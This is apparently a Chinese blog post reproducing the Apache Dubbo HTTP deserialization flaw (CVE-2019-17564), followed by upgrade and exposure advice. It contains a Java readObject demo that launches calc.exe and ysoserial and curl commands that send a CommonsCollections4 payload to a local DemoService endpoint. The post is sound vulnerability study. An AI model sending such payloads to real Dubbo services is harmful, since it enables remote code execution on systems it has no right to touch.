有关Apache dubbo反序列化漏洞(CVE-2019-17564)网上有许多漏洞复现文章,官方漏洞描述也说的很清楚,开启了http remoting协议时,存在反序列化漏洞。本身有关java的漏洞,反序列化占了很大一部分。大概流程就是应用程序在反序列化时执行了恶意代码导致RCE(remote command/code execute)。

先来看一个自定义对象反序列化引发RCE的示例:

public class SerialDemo {
  public static void main(String[] args) throws Exception{
    FileOutputStream fileInputStream = new FileOutputStream("D://Bird.obj");
    ObjectOutputStream oos= new ObjectOutputStream(fileInputStream);
    oos.writeObject(new Bird());
    oos.close();
    FileInputStream fileInputStream1 = new FileInputStream("D://Bird.obj");
    ObjectInputStream ois = new ObjectInputStream(fileInputStream1);
    ois.readObject();
    ois.close();
  }
}
class Bird implements Serializable {
  private final void readObject(ObjectInputStream in) throws Exception{
    Runtime.getRuntime().exec("calc.exe");
  }
}

在Bird类中声明了readObject方法,反序列化时会通过反射调用这个方法导致RCE,dubbo反序列化漏洞类似,但调用链远比这个要复杂。

----

下面使用dubbo http示例复现一下反序列化漏洞,通过Ysoserial生成利用反序列化漏洞payload,基于CommonsCollections4类库的gadget,注意版本使用的4.0,大于4.0没有此漏洞。

<dependency>
   <
groupId>org.apache.commons</groupId>
   <
artifactId>commons-collections4</artifactId>
   <
version>4.0</version>
</
dependency>

下载dubbo-sample-http,地址https://github.com/apache/dubbo-samples/tree/master/java,dubbo版本改为2.7.3,直接运行provider程序即可。使用curl命令,发送post请求,附带由Ysoserial生成的payload,其他模拟请求工具均可。

java -jar ysoserial-xxx.jar CommonsCollections4 "calc" > payload
curl --data-binary @payload
http://127.0.0.1:8080/org.apache.dubbo.samples.http.api.DemoService

----

有漏洞当然要升级了,针对此漏洞首先要确定是否使用了dubbo http,如果使用的是rest服务(基于resteasy)不受此漏洞影响。

dubbo作为一个rpc框架,通常都是内网应用,如果需要对外提供服务可以前置http网关接口,个人觉得没有必要给dubbo开放http接口。各位读者朋友如何看待呢?


©著作权归作者所有:来自51CTO博客作者mb5fdb0a4002420的原创作品,如需转载,请注明出处,否则将追究法律责任

更多相关文章

  1. CISSP学习:第9章安全漏洞、威胁和对策
  2. Heartbleed漏洞的原理与防治
  3. CV学习笔记(十七):Windows环境复现ChineseOCR
  4. 一行代码引来的安全漏洞就让我们丢失了整个服务器的控制权
  5. Android第二个签名漏洞#9695860(The Second Master Key)的手动构
  6. Android静态安全检测 -> Intent Scheme URL 漏洞
  7. Android常见漏洞介绍(1):Intent Scheme URL 攻击
  8. Activity都掌握了?来看看你还有多少漏洞!
  9. android studio报错:ClassLoader referenced unknown path: /data

随机推荐

  1. android给view比如layout等添加阴影效果
  2. ScrollView嵌套RecyclerView冲突解决
  3. Android(安卓)Intent调用大全
  4. Android(安卓)binder 原理及实现机制
  5. Android 编译提示R文件找不到
  6. 導入android項目出錯問題解決
  7. Android Touch事件
  8. android installd分析
  9. Android Jetpack之Lifecycle的源码分析
  10. Android(安卓)四个步骤集成EventBus事件